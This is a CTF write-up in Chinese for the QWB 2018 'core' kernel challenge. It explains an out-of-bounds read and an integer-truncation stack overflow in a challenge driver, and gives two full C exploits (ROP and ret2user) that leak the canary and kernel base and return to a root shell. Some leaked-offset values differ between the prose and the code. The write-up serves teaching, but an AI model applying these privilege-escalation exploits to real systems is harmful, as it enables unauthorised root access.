【kernel pwn】强网杯CTF2018 core题解

题目及相关文件下载,密码:914k

这是一道接近于libc的overflowme的题目了,调试还是比较麻烦,如果大佬们有好用的kernel用gdb插件麻烦告知我一下,环境好容易崩溃啊…

core

题目&漏洞分析

题目中注册了core_write、core_ioctl,而在core_ioctl中会根据参数去调用core_read、core_copy_func函数。

core_write: 用户可以向全局变量中写入一个不大于0x800的字符串内容

core_ioctl:分为3个case,维护了一个全局变量,当参数为0x6677889c的时候,可以设置这个变量,其余情况会分别调用core_read、core_copy_func函数

core_read:会根据core_ioctl维护的全局变量,从栈上读出长度为0x40的数据,这里很显然可以越界读数据,栈上的返回地址、canary之类的都可以读到

core_copy_func:会根据用户的输入长度,从name这个全局变量中向栈上读出数据。在判断时这个变量的类型是signed long long,而读出的时候变成了signed short,显然存在一个截断,当使用如0xf000000000000300这样的数据就可以绕过限制,造成内核的栈溢出。可以说是为了出题而出题了…

漏洞利用

首先检查一下内核的安全保护机制,通过查看start.sh发现没有开启smep,开启了kalsr和canary的。所谓smep是内核为了避免ret2user的利用方法增加的一种保护方法,即内核代码不能跳转到用户空间去执行代码,绕过方法也很简单,使用内核的ROP就可以了,但此题由于没有这个保护,可以直接使用ret2user的攻击方法。

题目给出的目录结构是这样的:

core.cpio:这是一个打包的文件,解包以后发现里面有文件系统,其中以vmlinux命名的是内核的二进制文件,core.ko是存在漏洞的驱动,也就是题目分析中分析的二进制文件。

start.sh: 启动脚本,标明启动的方法、保护措施等

bzImage:镜像文件

这里类比于libc中的pwn,感觉*.ko就是binary文件,vmlinux就是libc … 不同的是保护机制是由如何启动决定的。

内存地址泄露

这个漏洞在分析中已经说过了,在ioctl中设置全局变量的值,然后利用core_read函数可以泄露栈上的数据:

首先先对core驱动下断点,断点的下法是,首先在qemu中查看/sys/module/core/sections/.text文件,找到镜像加载的基地址:

然后在gdb端,执行add-symbol-file ./core/core.ko 0xffffffffc03a0000 ,为驱动增加符号表

这样就可以下断点了,首先看一下再core_read的栈内容。

由于kernel pwn 的最终目的是提权到root,一种简单的方法是执行

1
commit_creds(prepare_kernel_cred(0));

而commit_creds、prapare_kernel_cred都是内核函数,在vmlinux中,因此还需要泄露vmlinux的基地址。

而在栈地址中并不能看出来哪个地址属于vmlinux,这里用一个应该算是复杂的方法吧。

首先找到这两个函数在vmlinux的偏移:

1
2
3
4
from pwn import *
elf = ELF('./core/vmlinux')
print "commit_creds",hex(elf.symbols['commit_creds']-0xffffffff81000000)
print "prepare_kernel_cred",hex(elf.symbols['prepare_kernel_cred']-0xffffffff81000000)

在qemu里查看/proc/kallsyms中的 commit_creds 函数地址

而计算之后,找到vmlinux的基址:

1
2
3
4
5
Python 2.7.12 (default, Nov 20 2017, 18:23:56) 
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> hex(0xffffffffba89c8e0-0x9c8e0)
'0xffffffffba800000L'

可以发现在栈上有一条数据在vmlinux不远处,距离为0x9dd6d1

控制RIP

能够泄露vmlinux、驱动和canary了以后,就变得比较容易了。

首先预先构造好ROP,使用core_write写入到全局变量name中备用。

执行ROPgadget –binary vmlinux > 1.txt保存gadget备用,这个过程慢到令人发指…

而在core_copy_func中,构造长度为0xf000000000000300,即可成功覆盖RIP

ROP构造

其实,提取过程很容易,流程是:

1 执行 commit_creds(prepare_kernel_cred(0)),此时该进程已经是id为0的root进程了,但是仍在内核态中。而这条语句的执行可以用ROP来做,由于SMEP没开,ret2user也可以,ret2user就是在编写的程序中写入一个函数调用该函数,将ROP的该部分直接写成用户态函数的地址;

2 执行swapgs,准备回到用户态

3 iretq回到用户态,在rsp指向的位置布置好相关寄存器的值,特别的将rip寄存器的值保存为执行system(“/bin/sh”),再返回用户态后就可以拿到一个root权限的shell了。

EXP

rop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <pthread.h>
void setoff(int fd,long long size){
ioctl(fd,0x6677889C,size);
}
void core_read(int fd,char *buf){
ioctl(fd,0x6677889b,buf);
}
void core_copy_func(int fd,long long size){
ioctl(fd,0x6677889a,size);
}
unsigned long user_cs, user_ss, user_eflags,user_sp ;
void save_stats() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %3\n"
"pushfq\n"
"popq %2\n"
:"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
:
: "memory"
);
}

void get_shell(){
system("/bin/sh");
}

int main(){
int fd ;
size_t tmp ;
char buf[0x50];
size_t shellcode[0x100];
size_t vmlinux_base,canary,module_core_base;
size_t commit_creds = 0x9c8e0;
size_t prepare_kernel_cred = 0x9cce0;
save_stats();
fd = open("/proc/core",O_RDWR);
if(fd < 0 ){
printf("Open /proc/core error!\n");
exit(0);
}
setoff(fd,0x40);
core_read(fd,buf);
/* for test
for(int i = 0;i<8;i++){
tmp = *(size_t *)(&buf[i*8]);
printf("[%d] %p\n",i,tmp);
}
*/
size_t pop_rdi = 0x000b2f;
size_t push_rax = 0x02d112;
size_t swapgs = 0x0d6;
size_t iret ;
size_t xchg = 0x16684f0;
size_t call_rax=0x40398;
size_t pop_rcx = 0x21e53;
size_t pop_rbp = 0x3c4; //: pop rbp ; ret
size_t pop_rdx = 0xa0f49 ;//: pop rdx ; ret
size_t mov_rdi_rax_call_rdx = 0x01aa6a;
vmlinux_base = (*(size_t *)(&buf[4*8])-0x1dd6d1 );
printf("[+] vmlinux_base:%p\n",vmlinux_base);
canary = (*(size_t *)(&buf[0]));
printf("[+] canary:%p\n",canary);
module_core_base = (*(size_t *)(&buf[2*8])-0x19b );
printf("[+] module_core_base:%p\n",module_core_base);
commit_creds+=vmlinux_base;
prepare_kernel_cred += vmlinux_base;
pop_rdi += vmlinux_base;
push_rax += vmlinux_base;
swapgs += module_core_base ;
iret = 0x50ac2+vmlinux_base;
xchg += vmlinux_base;
call_rax += vmlinux_base;
pop_rcx += vmlinux_base;
mov_rdi_rax_call_rdx +=vmlinux_base;
pop_rdx += vmlinux_base;
printf("[+] commit_creds:%p\n",commit_creds);
printf("[+] prepare_kernel_cred:%p\n",prepare_kernel_cred);
//shellcode[0]=shellcode[0]
//shellcode[] =
for(int i=0;i<9;i++){
shellcode[i]=canary;
}
shellcode[9] = (*(size_t *)(&buf[1]) );
shellcode[10] = pop_rdi; //0xdeadbeefdeadbeef;
shellcode[11] = 0;
shellcode[12] = prepare_kernel_cred;

shellcode[13] = pop_rdx;
shellcode[14] = pop_rcx;
shellcode[15] = mov_rdi_rax_call_rdx;
shellcode[16] = commit_creds;
shellcode[17] = swapgs;
shellcode[18] = shellcode;
shellcode[19] = iret;
shellcode[20] = (size_t)get_shell;
shellcode[21] = user_cs;
shellcode[22] = user_eflags;
shellcode[23] = user_sp;
shellcode[24] = user_ss;

write(fd,shellcode,25*8);
core_copy_func(fd,0xf000000000000000+25*8);

}

ret2user

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdint.h>

unsigned long user_cs, user_ss, user_eflags,user_sp ;
void save_stats() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %3\n"
"pushfq\n"
"popq %2\n"
:"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
:
: "memory"
);
}

void get_shell(void){
system("/bin/sh");
}
//eip =(unsigned long long) get_shell;

#define KERNCALL __attribute__((regparm(3)))
void* (*prepare_kernel_cred)(void*) KERNCALL ;
void (*commit_creds)(void*) KERNCALL ;
void payload(){
commit_creds(prepare_kernel_cred(0));
}

void setoff(int fd,int off){
ioctl(fd,0x6677889C,off);
}

void core_read(int fd,char *buf){
ioctl(fd,0x6677889B,buf);
}

void core_copy(int fd , unsigned long long len){
ioctl(fd, 0x6677889A,len);
}

int main(void){
save_stats() ;
unsigned long long buf[0x40/8];
memset(buf,0,0x40);
unsigned long long canary ;
unsigned long long module_base ;
unsigned long long vmlinux_base ;
unsigned long long iretq ;
unsigned long long swapgs ;
unsigned long long rop[0x30];
memset(buf,0,0x30*8);
int fd = open("/proc/core",O_RDWR);
if(fd == -1){
printf("open file error\n");
exit(0);
}
else{
printf("open file success\n");
}
printf("[*] buf: 0x%p",buf);
setoff(fd,0x40);
core_read(fd,buf);
canary = buf[0];
module_base = buf[2] - 0x19b;
vmlinux_base = buf[4] - 0x16684f0;
printf("[*] canary: 0x%p",canary);
printf("[*] module_base: 0x%p",module_base);
printf("[*] vmlinux_base: 0x%p",vmlinux_base);
commit_creds = vmlinux_base + 0x9c8e0;
prepare_kernel_cred = vmlinux_base + 0x9cce0;
iretq = vmlinux_base + 0x50ac2;
swapgs = module_base + 0x0d6;
rop[8] = canary ;
rop[10] = payload;
rop[11] = swapgs;
rop[12] = 0;
rop[13] = iretq ;
rop[14] = get_shell ;
rop[15] = user_cs;
rop[16] = user_eflags;
rop[17] = user_sp;
rop[18] = user_ss;
rop[19] = 0;
write(fd,rop,0x30*8);
core_copy(fd,0xf000000000000000+0x30*8);
}

reference

https://www.anquanke.com/post/id/86490

http://bobao.360.cn/learning/detail/3702.html

文章目录
  1. 1. core
    1. 1.1. 题目&漏洞分析
    2. 1.2. 漏洞利用
      1. 1.2.1. 内存地址泄露
      2. 1.2.2. 控制RIP
      3. 1.2.3. ROP构造
  2. 2. EXP
    1. 2.1. rop
    2. 2.2. ret2user
  3. 3. reference
|